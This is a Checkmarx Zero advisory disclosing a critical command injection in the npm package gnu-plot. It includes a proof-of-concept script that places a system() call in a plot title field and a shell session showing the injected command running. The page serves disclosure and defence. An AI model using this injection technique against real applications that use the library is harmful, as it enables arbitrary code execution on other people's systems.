---
title: "CX-2021-4808"
date: "2021-04-28T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4808/"
---

# CX-2021-4808

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

No CVE assigned  **Published:** Apr 28, 2021

9.8 Critical Severity javascript nodejs npm RCE

AS André Sá  Reported by Checkmarx Zero

Details Overview

## Summary

A Gnuplot Command Injection vulnerability was discovered in  
[gnu-plot](https://www.npmjs.com/package/gnu-plot) through `set()`, `plot()`,  
and `splot()`.

## Product

All versions of gnu-plot currently published on NPM.

## Impact

It’s possible to inject malicious Gnuplot code, which may lead to arbitrary  
remote code execution if a user of the library calls the vulnerable functions  
with untrusted input.

## Steps to reproduce

```sh
root@1534826f7827:/poc# rm -rf PWND
root@1534826f7827:/poc# ls -1
node_modules
package-lock.json
package.json
poc.js
root@1534826f7827:/poc# cat poc.js
require('gnu-plot')()
  .set({
    term:"png size 800,600",
    output:"plot.png",
    title: 'system("echo PWND > PWND")'
  })
  .plot([{
    'data': [[0,0],[1,1],[2,0]]
}])
root@1534826f7827:/poc# node poc.js
[GNUPLOT ERR]         line 0: internal error : STRING operator applied to non-STRING type

^C
root@1534826f7827:/poc# cat PWND
PWND
root@1534826f7827:/poc# ls -1
PWND
node_modules
package-lock.json
package.json
poc.js
```

## Remediation

There are currently no fixed versions released. As a workaround, avoid passing  
untrusted input into the vulnerable functions when using the library.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher  
[André Sá](https://www.linkedin.com/in/andre-m-sa).

## Resources

1. [`set()`](https://github.com/V1rgul/node-gnuplot/blob/3a1b8507bc08d58c45ec8f9ac941e7a6bec5d6d8/gnuplot.js#L65)
2. [`plot()`](https://github.com/V1rgul/node-gnuplot/blob/3a1b8507bc08d58c45ec8f9ac941e7a6bec5d6d8/gnuplot.js#L103)
3. [`splot()`](https://github.com/V1rgul/node-gnuplot/blob/3a1b8507bc08d58c45ec8f9ac941e7a6bec5d6d8/gnuplot.js#L107)

0  Critical Severity CVSS v3.1 Score

   9.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Discovered Jan 26, 2021 Vulnerability found
2. Disclosed Jan 26, 2021 Notified the project's maintainers

## Explore more findings

[22 Apr 2026 CVE-2026-42236  Unauthenticated Denial of Service in n8n via MCP Client Registration   8.7  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-4223/) [22 Apr 2026 CVE-2026-42230  n8n has Open Redirect in MCP OAuth Consent Flow   5.1  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-42230/) [27 Feb 2026 CVE-2026-27578  n8n Vulnerable to Stored XSS via Various Nodes   8.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-27578/) [26 Feb 2026 CVE-2026-27950  Use-after-free in FreeRDP SDL2   5.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-27950/) [27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/)
